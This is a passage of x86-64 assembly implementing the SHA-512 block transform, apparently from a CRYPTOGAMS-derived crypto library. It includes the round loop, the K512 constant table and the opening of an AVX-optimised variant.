and r15,r10
ror r13,4
add r12,rbx
xor r15,rax
ror r14,6
xor r13,r10
add r12,r15
mov r15,rcx
add r12,QWORD[rbp]
xor r14,rcx
xor r15,rdx
ror r13,14
mov rbx,rdx
and rdi,r15
ror r14,28
add r12,r13
xor rbx,rdi
add r9,r12
add rbx,r12
lea rbp,[8+rbp]
mov r13,QWORD[64+rsp]
mov rdi,QWORD[40+rsp]
mov r12,r13
ror r13,7
add rbx,r14
mov r14,rdi
ror rdi,42
xor r13,r12
shr r12,7
ror r13,1
xor rdi,r14
shr r14,6
ror rdi,19
xor r12,r13
xor rdi,r14
add r12,QWORD[rsp]
add r12,QWORD[56+rsp]
mov r13,r9
add r12,rdi
mov r14,rbx
ror r13,23
mov rdi,r10
xor r13,r9
ror r14,5
xor rdi,r11
mov QWORD[56+rsp],r12
xor r14,rbx
and rdi,r9
ror r13,4
add r12,rax
xor rdi,r11
ror r14,6
xor r13,r9
add r12,rdi
mov rdi,rbx
add r12,QWORD[rbp]
xor r14,rbx
xor rdi,rcx
ror r13,14
mov rax,rcx
and r15,rdi
ror r14,28
add r12,r13
xor rax,r15
add r8,r12
add rax,r12
lea rbp,[24+rbp]
mov r13,QWORD[72+rsp]
mov r15,QWORD[48+rsp]
mov r12,r13
ror r13,7
add rax,r14
mov r14,r15
ror r15,42
xor r13,r12
shr r12,7
ror r13,1
xor r15,r14
shr r14,6
ror r15,19
xor r12,r13
xor r15,r14
add r12,QWORD[8+rsp]
add r12,QWORD[64+rsp]
mov r13,r8
add r12,r15
mov r14,rax
ror r13,23
mov r15,r9
xor r13,r8
ror r14,5
xor r15,r10
mov QWORD[64+rsp],r12
xor r14,rax
and r15,r8
ror r13,4
add r12,r11
xor r15,r10
ror r14,6
xor r13,r8
add r12,r15
mov r15,rax
add r12,QWORD[rbp]
xor r14,rax
xor r15,rbx
ror r13,14
mov r11,rbx
and rdi,r15
ror r14,28
add r12,r13
xor r11,rdi
add rdx,r12
add r11,r12
lea rbp,[8+rbp]
mov r13,QWORD[80+rsp]
mov rdi,QWORD[56+rsp]
mov r12,r13
ror r13,7
add r11,r14
mov r14,rdi
ror rdi,42
xor r13,r12
shr r12,7
ror r13,1
xor rdi,r14
shr r14,6
ror rdi,19
xor r12,r13
xor rdi,r14
add r12,QWORD[16+rsp]
add r12,QWORD[72+rsp]
mov r13,rdx
add r12,rdi
mov r14,r11
ror r13,23
mov rdi,r8
xor r13,rdx
ror r14,5
xor rdi,r9
mov QWORD[72+rsp],r12
xor r14,r11
and rdi,rdx
ror r13,4
add r12,r10
xor rdi,r9
ror r14,6
xor r13,rdx
add r12,rdi
mov rdi,r11
add r12,QWORD[rbp]
xor r14,r11
xor rdi,rax
ror r13,14
mov r10,rax
and r15,rdi
ror r14,28
add r12,r13
xor r10,r15
add rcx,r12
add r10,r12
lea rbp,[24+rbp]
mov r13,QWORD[88+rsp]
mov r15,QWORD[64+rsp]
mov r12,r13
ror r13,7
add r10,r14
mov r14,r15
ror r15,42
xor r13,r12
shr r12,7
ror r13,1
xor r15,r14
shr r14,6
ror r15,19
xor r12,r13
xor r15,r14
add r12,QWORD[24+rsp]
add r12,QWORD[80+rsp]
mov r13,rcx
add r12,r15
mov r14,r10
ror r13,23
mov r15,rdx
xor r13,rcx
ror r14,5
xor r15,r8
mov QWORD[80+rsp],r12
xor r14,r10
and r15,rcx
ror r13,4
add r12,r9
xor r15,r8
ror r14,6
xor r13,rcx
add r12,r15
mov r15,r10
add r12,QWORD[rbp]
xor r14,r10
xor r15,r11
ror r13,14
mov r9,r11
and rdi,r15
ror r14,28
add r12,r13
xor r9,rdi
add rbx,r12
add r9,r12
lea rbp,[8+rbp]
mov r13,QWORD[96+rsp]
mov rdi,QWORD[72+rsp]
mov r12,r13
ror r13,7
add r9,r14
mov r14,rdi
ror rdi,42
xor r13,r12
shr r12,7
ror r13,1
xor rdi,r14
shr r14,6
ror rdi,19
xor r12,r13
xor rdi,r14
add r12,QWORD[32+rsp]
add r12,QWORD[88+rsp]
mov r13,rbx
add r12,rdi
mov r14,r9
ror r13,23
mov rdi,rcx
xor r13,rbx
ror r14,5
xor rdi,rdx
mov QWORD[88+rsp],r12
xor r14,r9
and rdi,rbx
ror r13,4
add r12,r8
xor rdi,rdx
ror r14,6
xor r13,rbx
add r12,rdi
mov rdi,r9
add r12,QWORD[rbp]
xor r14,r9
xor rdi,r10
ror r13,14
mov r8,r10
and r15,rdi
ror r14,28
add r12,r13
xor r8,r15
add rax,r12
add r8,r12
lea rbp,[24+rbp]
mov r13,QWORD[104+rsp]
mov r15,QWORD[80+rsp]
mov r12,r13
ror r13,7
add r8,r14
mov r14,r15
ror r15,42
xor r13,r12
shr r12,7
ror r13,1
xor r15,r14
shr r14,6
ror r15,19
xor r12,r13
xor r15,r14
add r12,QWORD[40+rsp]
add r12,QWORD[96+rsp]
mov r13,rax
add r12,r15
mov r14,r8
ror r13,23
mov r15,rbx
xor r13,rax
ror r14,5
xor r15,rcx
mov QWORD[96+rsp],r12
xor r14,r8
and r15,rax
ror r13,4
add r12,rdx
xor r15,rcx
ror r14,6
xor r13,rax
add r12,r15
mov r15,r8
add r12,QWORD[rbp]
xor r14,r8
xor r15,r9
ror r13,14
mov rdx,r9
and rdi,r15
ror r14,28
add r12,r13
xor rdx,rdi
add r11,r12
add rdx,r12
lea rbp,[8+rbp]
mov r13,QWORD[112+rsp]
mov rdi,QWORD[88+rsp]
mov r12,r13
ror r13,7
add rdx,r14
mov r14,rdi
ror rdi,42
xor r13,r12
shr r12,7
ror r13,1
xor rdi,r14
shr r14,6
ror rdi,19
xor r12,r13
xor rdi,r14
add r12,QWORD[48+rsp]
add r12,QWORD[104+rsp]
mov r13,r11
add r12,rdi
mov r14,rdx
ror r13,23
mov rdi,rax
xor r13,r11
ror r14,5
xor rdi,rbx
mov QWORD[104+rsp],r12
xor r14,rdx
and rdi,r11
ror r13,4
add r12,rcx
xor rdi,rbx
ror r14,6
xor r13,r11
add r12,rdi
mov rdi,rdx
add r12,QWORD[rbp]
xor r14,rdx
xor rdi,r8
ror r13,14
mov rcx,r8
and r15,rdi
ror r14,28
add r12,r13
xor rcx,r15
add r10,r12
add rcx,r12
lea rbp,[24+rbp]
mov r13,QWORD[120+rsp]
mov r15,QWORD[96+rsp]
mov r12,r13
ror r13,7
add rcx,r14
mov r14,r15
ror r15,42
xor r13,r12
shr r12,7
ror r13,1
xor r15,r14
shr r14,6
ror r15,19
xor r12,r13
xor r15,r14
add r12,QWORD[56+rsp]
add r12,QWORD[112+rsp]
mov r13,r10
add r12,r15
mov r14,rcx
ror r13,23
mov r15,r11
xor r13,r10
ror r14,5
xor r15,rax
mov QWORD[112+rsp],r12
xor r14,rcx
and r15,r10
ror r13,4
add r12,rbx
xor r15,rax
ror r14,6
xor r13,r10
add r12,r15
mov r15,rcx
add r12,QWORD[rbp]
xor r14,rcx
xor r15,rdx
ror r13,14
mov rbx,rdx
and rdi,r15
ror r14,28
add r12,r13
xor rbx,rdi
add r9,r12
add rbx,r12
lea rbp,[8+rbp]
mov r13,QWORD[rsp]
mov rdi,QWORD[104+rsp]
mov r12,r13
ror r13,7
add rbx,r14
mov r14,rdi
ror rdi,42
xor r13,r12
shr r12,7
ror r13,1
xor rdi,r14
shr r14,6
ror rdi,19
xor r12,r13
xor rdi,r14
add r12,QWORD[64+rsp]
add r12,QWORD[120+rsp]
mov r13,r9
add r12,rdi
mov r14,rbx
ror r13,23
mov rdi,r10
xor r13,r9
ror r14,5
xor rdi,r11
mov QWORD[120+rsp],r12
xor r14,rbx
and rdi,r9
ror r13,4
add r12,rax
xor rdi,r11
ror r14,6
xor r13,r9
add r12,rdi
mov rdi,rbx
add r12,QWORD[rbp]
xor r14,rbx
xor rdi,rcx
ror r13,14
mov rax,rcx
and r15,rdi
ror r14,28
add r12,r13
xor rax,r15
add r8,r12
add rax,r12
lea rbp,[24+rbp]
cmp BYTE[7+rbp],0
jnz NEAR $L$rounds_16_xx
mov rdi,QWORD[((128+0))+rsp]
add rax,r14
lea rsi,[128+rsi]
add rax,QWORD[rdi]
add rbx,QWORD[8+rdi]
add rcx,QWORD[16+rdi]
add rdx,QWORD[24+rdi]
add r8,QWORD[32+rdi]
add r9,QWORD[40+rdi]
add r10,QWORD[48+rdi]
add r11,QWORD[56+rdi]
cmp rsi,QWORD[((128+16))+rsp]
mov QWORD[rdi],rax
mov QWORD[8+rdi],rbx
mov QWORD[16+rdi],rcx
mov QWORD[24+rdi],rdx
mov QWORD[32+rdi],r8
mov QWORD[40+rdi],r9
mov QWORD[48+rdi],r10
mov QWORD[56+rdi],r11
jb NEAR $L$loop
mov rsi,QWORD[152+rsp]
mov r15,QWORD[((-48))+rsi]
mov r14,QWORD[((-40))+rsi]
mov r13,QWORD[((-32))+rsi]
mov r12,QWORD[((-24))+rsi]
mov rbp,QWORD[((-16))+rsi]
mov rbx,QWORD[((-8))+rsi]
lea rsp,[rsi]
$L$epilogue:
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_GFp_sha512_block_data_order:
ALIGN 64
K512:
DQ 0x428a2f98d728ae22,0x7137449123ef65cd
DQ 0x428a2f98d728ae22,0x7137449123ef65cd
DQ 0xb5c0fbcfec4d3b2f,0xe9b5dba58189dbbc
DQ 0xb5c0fbcfec4d3b2f,0xe9b5dba58189dbbc
DQ 0x3956c25bf348b538,0x59f111f1b605d019
DQ 0x3956c25bf348b538,0x59f111f1b605d019
DQ 0x923f82a4af194f9b,0xab1c5ed5da6d8118
DQ 0x923f82a4af194f9b,0xab1c5ed5da6d8118
DQ 0xd807aa98a3030242,0x12835b0145706fbe
DQ 0xd807aa98a3030242,0x12835b0145706fbe
DQ 0x243185be4ee4b28c,0x550c7dc3d5ffb4e2
DQ 0x243185be4ee4b28c,0x550c7dc3d5ffb4e2
DQ 0x72be5d74f27b896f,0x80deb1fe3b1696b1
DQ 0x72be5d74f27b896f,0x80deb1fe3b1696b1
DQ 0x9bdc06a725c71235,0xc19bf174cf692694
DQ 0x9bdc06a725c71235,0xc19bf174cf692694
DQ 0xe49b69c19ef14ad2,0xefbe4786384f25e3
DQ 0xe49b69c19ef14ad2,0xefbe4786384f25e3
DQ 0x0fc19dc68b8cd5b5,0x240ca1cc77ac9c65
DQ 0x0fc19dc68b8cd5b5,0x240ca1cc77ac9c65
DQ 0x2de92c6f592b0275,0x4a7484aa6ea6e483
DQ 0x2de92c6f592b0275,0x4a7484aa6ea6e483
DQ 0x5cb0a9dcbd41fbd4,0x76f988da831153b5
DQ 0x5cb0a9dcbd41fbd4,0x76f988da831153b5
DQ 0x983e5152ee66dfab,0xa831c66d2db43210
DQ 0x983e5152ee66dfab,0xa831c66d2db43210
DQ 0xb00327c898fb213f,0xbf597fc7beef0ee4
DQ 0xb00327c898fb213f,0xbf597fc7beef0ee4
DQ 0xc6e00bf33da88fc2,0xd5a79147930aa725
DQ 0xc6e00bf33da88fc2,0xd5a79147930aa725
DQ 0x06ca6351e003826f,0x142929670a0e6e70
DQ 0x06ca6351e003826f,0x142929670a0e6e70
DQ 0x27b70a8546d22ffc,0x2e1b21385c26c926
DQ 0x27b70a8546d22ffc,0x2e1b21385c26c926
DQ 0x4d2c6dfc5ac42aed,0x53380d139d95b3df
DQ 0x4d2c6dfc5ac42aed,0x53380d139d95b3df
DQ 0x650a73548baf63de,0x766a0abb3c77b2a8
DQ 0x650a73548baf63de,0x766a0abb3c77b2a8
DQ 0x81c2c92e47edaee6,0x92722c851482353b
DQ 0x81c2c92e47edaee6,0x92722c851482353b
DQ 0xa2bfe8a14cf10364,0xa81a664bbc423001
DQ 0xa2bfe8a14cf10364,0xa81a664bbc423001
DQ 0xc24b8b70d0f89791,0xc76c51a30654be30
DQ 0xc24b8b70d0f89791,0xc76c51a30654be30
DQ 0xd192e819d6ef5218,0xd69906245565a910
DQ 0xd192e819d6ef5218,0xd69906245565a910
DQ 0xf40e35855771202a,0x106aa07032bbd1b8
DQ 0xf40e35855771202a,0x106aa07032bbd1b8
DQ 0x19a4c116b8d2d0c8,0x1e376c085141ab53
DQ 0x19a4c116b8d2d0c8,0x1e376c085141ab53
DQ 0x2748774cdf8eeb99,0x34b0bcb5e19b48a8
DQ 0x2748774cdf8eeb99,0x34b0bcb5e19b48a8
DQ 0x391c0cb3c5c95a63,0x4ed8aa4ae3418acb
DQ 0x391c0cb3c5c95a63,0x4ed8aa4ae3418acb
DQ 0x5b9cca4f7763e373,0x682e6ff3d6b2b8a3
DQ 0x5b9cca4f7763e373,0x682e6ff3d6b2b8a3
DQ 0x748f82ee5defb2fc,0x78a5636f43172f60
DQ 0x748f82ee5defb2fc,0x78a5636f43172f60
DQ 0x84c87814a1f0ab72,0x8cc702081a6439ec
DQ 0x84c87814a1f0ab72,0x8cc702081a6439ec
DQ 0x90befffa23631e28,0xa4506cebde82bde9
DQ 0x90befffa23631e28,0xa4506cebde82bde9
DQ 0xbef9a3f7b2c67915,0xc67178f2e372532b
DQ 0xbef9a3f7b2c67915,0xc67178f2e372532b
DQ 0xca273eceea26619c,0xd186b8c721c0c207
DQ 0xca273eceea26619c,0xd186b8c721c0c207
DQ 0xeada7dd6cde0eb1e,0xf57d4f7fee6ed178
DQ 0xeada7dd6cde0eb1e,0xf57d4f7fee6ed178
DQ 0x06f067aa72176fba,0x0a637dc5a2c898a6
DQ 0x06f067aa72176fba,0x0a637dc5a2c898a6
DQ 0x113f9804bef90dae,0x1b710b35131c471b
DQ 0x113f9804bef90dae,0x1b710b35131c471b
DQ 0x28db77f523047d84,0x32caab7b40c72493
DQ 0x28db77f523047d84,0x32caab7b40c72493
DQ 0x3c9ebe0a15c9bebc,0x431d67c49c100d4c
DQ 0x3c9ebe0a15c9bebc,0x431d67c49c100d4c
DQ 0x4cc5d4becb3e42b6,0x597f299cfc657e2a
DQ 0x4cc5d4becb3e42b6,0x597f299cfc657e2a
DQ 0x5fcb6fab3ad6faec,0x6c44198c4a475817
DQ 0x5fcb6fab3ad6faec,0x6c44198c4a475817
DQ 0x0001020304050607,0x08090a0b0c0d0e0f
DQ 0x0001020304050607,0x08090a0b0c0d0e0f
DB 83,72,65,53,49,50,32,98,108,111,99,107,32,116,114,97
DB 110,115,102,111,114,109,32,102,111,114,32,120,56,54,95,54
DB 52,44,32,67,82,89,80,84,79,71,65,77,83,32,98,121
DB 32,60,97,112,112,114,111,64,111,112,101,110,115,115,108,46
DB 111,114,103,62,0
ALIGN 64
GFp_sha512_block_data_order_avx:
mov QWORD[8+rsp],rdi ;WIN64 prologue
mov QWORD[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_GFp_sha512_block_data_order_avx:
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
$L$avx_shortcut:
mov rax,rsp
push rbx
push rbp
push r12
push r13
push r14
push r15
shl rdx,4
sub rsp,256
lea rdx,[rdx*8+rsi]
and rsp,-64
mov QWORD[((128+0))+rsp],rdi
mov QWORD[((128+8))+rsp],rsi
mov QWORD[((128+16))+rsp],rdx
mov QWORD[152+rsp],rax
movaps XMMWORD[(128+32)+rsp],xmm6
movaps XMMWORD[(128+48)+rsp],xmm7
movaps XMMWORD[(128+64)+rsp],xmm8
movaps XMMWORD[(128+80)+rsp],xmm9
movaps XMMWORD[(128+96)+rsp],xmm10
movaps XMMWORD[(128+112)+rsp],xmm11
$L$prologue_avx:
vzeroupper
mov rax,QWORD[rdi]
mov rbx,QWORD[8+rdi]
mov rcx,QWORD[16+rdi]
mov rdx,QWORD[24+rdi]
mov r8,QWORD[32+rdi]
mov r9,QWORD[40+rdi]
mov r10,QWORD[48+rdi]
mov r11,QWORD[56+rdi]
jmp NEAR $L$loop_avx
ALIGN 16
$L$loop_avx:
vmovdqa xmm11,XMMWORD[((K512+1280))]
vmovdqu xmm0,XMMWORD[rsi]
lea rbp,[((K512+128))]
vmovdqu xmm1,XMMWORD[16+rsi]
vmovdqu xmm2,XMMWORD[32+rsi]
vpshufb xmm0,xmm0,xmm11
vmovdqu xmm3,XMMWORD[48+rsi]
vpshufb xmm1,xmm1,xmm11
vmovdqu xmm4,XMMWORD[64+rsi]
vpshufb xmm2,xmm2,xmm11
vmovdqu xmm5,XMMWORD[80+rsi]
vpshufb xmm3,xmm3,xmm11
vmovdqu xmm6,XMMWORD[96+rsi]
vpshufb xmm4,xmm4,xmm11
vmovdqu xmm7,XMMWORD[112+rsi]
vpshufb xmm5,xmm5,xmm11
vpaddq xmm8,xmm0,XMMWORD[((-128))+rbp]
vpshufb xmm6,xmm6,xmm11
vpaddq xmm9,xmm1,XMMWORD[((-96))+rbp]
vpshufb xmm7,xmm7,xmm11
vpaddq xmm10,xmm2,XMMWORD[((-64))+rbp]
vpaddq xmm11,xmm3,XMMWORD[((-32))+rbp]
vmovdqa XMMWORD[rsp],xmm8
vpaddq xmm8,xmm4,XMMWORD[rbp]
vmovdqa XMMWORD[16+rsp],xmm9
vpaddq xmm9,xmm5,XMMWORD[32+rbp]
vmovdqa XMMWORD[32+rsp],xmm10
vpaddq xmm10,xmm6,XMMWORD[64+rbp]
vmovdqa XMMWORD[48+rsp],xmm11
vpaddq xmm11,xmm7,XMMWORD[96+rbp]
vmovdqa XMMWORD[64+rsp],xmm8
mov r14,rax
vmovdqa XMMWORD[80+rsp],xmm9
mov rdi,rbx
vmovdqa XMMWORD[96+rsp],xmm10
xor rdi,rcx
vmovdqa XMMWORD[112+rsp],xmm11
mov r13,r8
jmp NEAR $L$avx_00_47
ALIGN 16
$L$avx_00_47:
add rbp,256
vpalignr xmm8,xmm1,xmm0,8
shrd r13,r13,23
mov rax,r14
vpalignr xmm11,xmm5,xmm4,8
mov r12,r9
shrd r14,r14,5
vpsrlq xmm10,xmm8,1
xor r13,r8
xor r12,r10
vpaddq xmm0,xmm0,xmm11
shrd r13,r13,4
xor r14,rax
vpsrlq xmm11,xmm8,7
and r12,r8
xor r13,r8
vpsllq xmm9,xmm8,56
add r11,QWORD[rsp]
mov r15,rax
vpxor xmm8,xmm11,xmm10
xor r12,r10
shrd r14,r14,6
vpsrlq xmm10,xmm10,7
xor r15,rbx
add r11,r12
vpxor xmm8,xmm8,xmm9
shrd r13,r13,14
and rdi,r15
vpsllq xmm9,xmm9,7
xor r14,rax
add r11,r13
vpxor xmm8,xmm8,xmm10
xor rdi,rbx
shrd r14,r14,28
vpsrlq xmm11,xmm7,6
add rdx,r11
add r11,rdi
vpxor xmm8,xmm8,xmm9
mov r13,rdx
add r14,r11
vpsllq xmm10,xmm7,3
shrd r13,r13,23
mov r11,r14
vpaddq xmm0,xmm0,xmm8
mov r12,r8
shrd r14,r14,5
vpsrlq xmm9,xmm7,19
xor r13,rdx
xor r12,r9
vpxor xmm11,xmm11,xmm10
shrd r13,r13,4
xor r14,r11
vpsllq xmm10,xmm10,42
and r12,rdx
xor r13,rdx
vpxor xmm11,xmm11,xmm9
add r10,QWORD[8+rsp]
mov rdi,r11
vpsrlq xmm9,xmm9,42
xor r12,r9
shrd r14,r14,6
vpxor xmm11,xmm11,xmm10
xor rdi,rax
add r10,r12
vpxor xmm11,xmm11,xmm9
shrd r13,r13,14
and r15,rdi
vpaddq xmm0,xmm0,xmm11
xor r14,r11
add r10,r13
vpaddq xmm10,xmm0,XMMWORD[((-128))+rbp]
xor r15,rax
shrd r14,r14,28
add rcx,r10
add r10,r15
mov r13,rcx
add r14,r10
vmovdqa XMMWORD[rsp],xmm10
vpalignr xmm8,xmm2,xmm1,8
shrd r13,r13,23
mov r10,r14
vpalignr xmm11,xmm6,xmm5,8
mov r12,rdx
shrd r14,r14,5
vpsrlq xmm10,xmm8,1
xor r13,rcx
xor r12,r8
vpaddq xmm1,xmm1,xmm11
shrd r13,r13,4
xor r14,r10
vpsrlq xmm11,xmm8,7
and r12,rcx
xor r13,rcx
vpsllq xmm9,xmm8,56
add r9,QWORD[16+rsp]
mov r15,r10
vpxor xmm8,xmm11,xmm10
xor r12,r8
shrd r14,r14,6
vpsrlq xmm10,xmm10,7
xor r15,r11
add r9,r12
vpxor xmm8,xmm8,xmm9
shrd r13,r13,14
and rdi,r15
vpsllq xmm9,xmm9,7
xor r14,r10
add r9,r13
vpxor xmm8,xmm8,xmm10
xor rdi,r11
shrd r14,r14,28
vpsrlq xmm11,xmm0,6
add rbx,r9
add r9,rdi
vpxor xmm8,xmm8,xmm9
mov r13,rbx
add r14,r9
vpsllq xmm10,xmm0,3
shrd r13,r13,23
mov r9,r14
vpaddq xmm1,xmm1,xmm8
mov r12,rcx
shrd r14,r14,5
vpsrlq xmm9,xmm0,19
xor r13,rbx
xor r12,rdx
vpxor xmm11,xmm11,xmm10
shrd r13,r13,4
xor r14,r9
vpsllq xmm10,xmm10,42
and r12,rbx
xor r13,rbx
vpxor xmm11,xmm11,xmm9
add r8,QWORD[24+rsp]
mov rdi,r9
vpsrlq xmm9,xmm9,42
xor r12,rdx
shrd r14,r14,6
vpxor xmm11,xmm11,xmm10
xor rdi,r10
add r8,r12
vpxor xmm11,xmm11,xmm9
shrd r13,r13,14
and r15,rdi
vpaddq xmm1,xmm1,xmm11
xor r14,r9
add r8,r13
vpaddq xmm10,xmm1,XMMWORD[((-96))+rbp]
xor r15,r10
shrd r14,r14,28
add rax,r8
add r8,r15
mov r13,rax
add r14,r8
vmovdqa XMMWORD[16+rsp],xmm10
vpalignr xmm8,xmm3,xmm2,8
shrd r13,r13,23
mov r8,r14
vpalignr xmm11,xmm7,xmm6,8
mov r12,rbx
shrd r14,r14,5
vpsrlq xmm10,xmm8,1
xor r13,rax
xor r12,rcx
vpaddq xmm2,xmm2,xmm11
shrd r13,r13,4
xor r14,r8
vpsrlq xmm11,xmm8,7
and r12,rax
xor r13,rax
vpsllq xmm9,xmm8,56
add rdx,QWORD[32+rsp]
mov r15,r8
vpxor xmm8,xmm11,xmm10
xor r12,rcx
shrd r14,r14,6
vpsrlq xmm10,xmm10,7
xor r15,r9
add rdx,r12
vpxor xmm8,xmm8,xmm9
shrd r13,r13,14
and rdi,r15
vpsllq xmm9,xmm9,7
xor r14,r8
add rdx,r13
vpxor xmm8,xmm8,xmm10
xor rdi,r9
shrd r14,r14,28
vpsrlq xmm11,xmm1,6
add r11,rdx
add rdx,rdi
vpxor xmm8,xmm8,xmm9
mov r13,r11
add r14,rdx
vpsllq xmm10,xmm1,3
shrd r13,r13,23
mov rdx,r14
vpaddq xmm2,xmm2,xmm8
mov r12,rax
shrd r14,r14,5
vpsrlq xmm9,xmm1,19
xor r13,r11
xor r12,rbx
vpxor xmm11,xmm11,xmm10
shrd r13,r13,4
xor r14,rdx
vpsllq xmm10,xmm10,42
and r12,r11
xor r13,r11
vpxor xmm11,xmm11,xmm9
add rcx,QWORD[40+rsp]
mov rdi,rdx
vpsrlq xmm9,xmm9,42
xor r12,rbx
shrd r14,r14,6
vpxor xmm11,xmm11,xmm10
xor rdi,r8
add rcx,r12
vpxor xmm11,xmm11,xmm9
shrd r13,r13,14
and r15,rdi
vpaddq xmm2,xmm2,xmm11
xor r14,rdx
add rcx,r13
vpaddq xmm10,xmm2,XMMWORD[((-64))+rbp]
xor r15,r8
shrd r14,r14,28
add r10,rcx
add rcx,r15
mov r13,r10
add r14,rcx
vmovdqa XMMWORD[32+rsp],xmm10
vpalignr xmm8,xmm4,xmm3,8
shrd r13,r13,23
mov rcx,r14
vpalignr xmm11,xmm0,xmm7,8
mov r12,r11
shrd r14,r14,5
vpsrlq xmm10,xmm8,1
xor r13,r10
xor r12,rax
vpaddq xmm3,xmm3,xmm11
shrd r13,r13,4
xor r14,rcx
vpsrlq xmm11,xmm8,7
and r12,r10
xor r13,r10
vpsllq xmm9,xmm8,56
add rbx,QWORD[48+rsp]
mov r15,rcx
vpxor xmm8,xmm11,xmm10
xor r12,rax
shrd r14,r14,6
vpsrlq xmm10,xmm10,7
xor r15,rdx
add rbx,r12
vpxor xmm8,xmm8,xmm9
shrd r13,r13,14
and rdi,r15
vpsllq xmm9,xmm9,7
xor r14,rcx
add rbx,r13
vpxor xmm8,xmm8,xmm10
xor rdi,rdx
shrd r14,r14,28
vpsrlq xmm11,xmm2,6
add r9,rbx
add rbx,rdi
vpxor xmm8,xmm8,xmm9
mov r13,r9
add r14,rbx
vpsllq xmm10,xmm2,3
shrd r13,r13,23
mov rbx,r14
vpaddq xmm3,xmm3,xmm8
mov r12,r10
shrd r14,r14,5
vpsrlq xmm9,xmm2,19
xor r13,r9
xor r12,r11
vpxor xmm11,xmm11,xmm10
shrd r13,r13,4
xor r14,rbx
vpsllq xmm10,xmm10,42
and r12,r9
xor r13,r9
vpxor xmm11,xmm11,xmm9
add rax,QWORD[56+rsp]
mov rdi,rbx
vpsrlq xmm9,xmm9,42
xor r12,r11
shrd r14,r14,6
vpxor xmm11,xmm11,xmm10
xor rdi,rcx
add rax,r12
vpxor xmm11,xmm11,xmm9
shrd r13,r13,14
and r15,rdi
vpaddq xmm3,xmm3,xmm11
xor r14,rbx
add rax,r13
vpaddq xmm10,xmm3,XMMWORD[((-32))+rbp]
xor r15,rcx
shrd r14,r14,28
add r8,rax
add rax,r15
mov r13,r8
add r14,rax
vmovdqa XMMWORD[48+rsp],xmm10
vpalignr xmm8,xmm5,xmm4,8
shrd r13,r13,23
mov rax,r14
vpalignr xmm11,xmm1,xmm0,8
mov r12,r9
shrd r14,r14,5
vpsrlq xmm10,xmm8,1
xor r13,r8
xor r12,r10
vpaddq xmm4,xmm4,xmm11
shrd r13,r13,4
xor r14,rax
vpsrlq xmm11,xmm8,7
and r12,r8
xor r13,r8
vpsllq xmm9,xmm8,56
add r11,QWORD[64+rsp]
mov r15,rax
vpxor xmm8,xmm11,xmm10
xor r12,r10
shrd r14,r14,6
vpsrlq xmm10,xmm10,7
xor r15,rbx
add r11,r12
vpxor xmm8,xmm8,xmm9
shrd r13,r13,14
and rdi,r15
vpsllq xmm9,xmm9,7
xor r14,rax
add r11,r13
vpxor xmm8,xmm8,xmm10
xor rdi,rbx
shrd r14,r14,28
vpsrlq xmm11,xmm3,6
add rdx,r11
add r11,rdi
vpxor xmm8,xmm8,xmm9
mov r13,rdx
add r14,r11
vpsllq xmm10,xmm3,3
shrd r13,r13,23
mov r11,r14
vpaddq xmm4,xmm4,xmm8
mov r12,r8
shrd r14,r14,5
vpsrlq xmm9,xmm3,19
xor r13,rdx
xor r12,r9
vpxor xmm11,xmm11,xmm10
shrd r13,r13,4
xor r14,r11
vpsllq xmm10,xmm10,42
and r12,rdx
xor r13,rdx
vpxor xmm11,xmm11,xmm9
add r10,QWORD[72+rsp]
mov rdi,r11
vpsrlq xmm9,xmm9,42
xor r12,r9
shrd r14,r14,6
vpxor xmm11,xmm11,xmm10
xor rdi,rax
add r10,r12
vpxor xmm11,xmm11,xmm9
shrd r13,r13,14
and r15,rdi
vpaddq xmm4,xmm4,xmm11
xor r14,r11
add r10,r13
vpaddq xmm10,xmm4,XMMWORD[rbp]
xor r15,rax
shrd r14,r14,28
add rcx,r10
add r10,r15
mov r13,rcx
add r14,r10
vmovdqa XMMWORD[64+rsp],xmm10
vpalignr xmm8,xmm6,xmm5,8
shrd r13,r13,23
mov r10,r14
vpalignr xmm11,xmm2,xmm1,8
mov r12,rdx
shrd r14,r14,5
vpsrlq xmm10,xmm8,1
xor r13,rcx
xor r12,r8
vpaddq xmm5,xmm5,xmm11
shrd r13,r13,4
xor r14,r10
vpsrlq xmm11,xmm8,7
and r12,rcx
xor r13,rcx
vpsllq xmm9,xmm8,56
add r9,QWORD[80+rsp]
mov r15,r10
vpxor xmm8,xmm11,xmm10
xor r12,r8
shrd r14,r14,6
vpsrlq xmm10,xmm10,7
xor r15,r11
add r9,r12
vpxor xmm8,xmm8,xmm9
shrd r13,r13,14
and rdi,r15
vpsllq xmm9,xmm9,7
xor r14,r10
add r9,r13
vpxor xmm8,xmm8,xmm10
xor rdi,r11
shrd r14,r14,28
vpsrlq xmm11,xmm4,6
add rbx,r9
add r9,rdi
vpxor xmm8,xmm8,xmm9
mov r13,rbx
add r14,r9
vpsllq xmm10,xmm4,3
shrd r13,r13,23
mov r9,r14
vpaddq xmm5,xmm5,xmm8
mov r12,rcx
shrd r14,r14,5
vpsrlq xmm9,xmm4,19
xor r13,rbx
xor r12,rdx
vpxor xmm11,xmm11,xmm10
shrd r13,r13,4
xor r14,r9
vpsllq xmm10,xmm10,42
and r12,rbx
xor r13,rbx
vpxor xmm11,xmm11,xmm9
add r8,QWORD[88+rsp]
mov rdi,r9
vpsrlq xmm9,xmm9,42
xor r12,rdx
shrd r14,r14,6
vpxor xmm11,xmm11,xmm10
xor rdi,r10
add r8,r12
vpxor xmm11,xmm11,xmm9
shrd r13,r13,14
and r15,rdi
vpaddq xmm5,xmm5,xmm11
xor r14,r9
add r8,r13
vpaddq xmm10,xmm5,XMMWORD[32+rbp]
xor r15,r10
shrd r14,r14,28
add rax,r8
add r8,r15
mov r13,rax
add r14,r8
vmovdqa XMMWORD[80+rsp],xmm10
vpalignr xmm8,xmm7,xmm6,8
shrd r13,r13,23
mov r8,r14
vpalignr xmm11,xmm3,xmm2,8
mov r12,rbx
shrd r14,r14,5
vpsrlq xmm10,xmm8,1
xor r13,rax
xor r12,rcx
vpaddq xmm6,xmm6,xmm11
shrd r13,r13,4
xor r14,r8
vpsrlq xmm11,xmm8,7
and r12,rax
xor r13,rax
vpsllq xmm9,xmm8,56
add rdx,QWORD[96+rsp]
mov r15,r8
vpxor xmm8,xmm11,xmm10
xor r12,rcx
shrd r14,r14,6
vpsrlq xmm10,xmm10,7
xor r15,r9
add rdx,r12
vpxor xmm8,xmm8,xmm9
shrd r13,r13,14
and rdi,r15
vpsllq xmm9,xmm9,7
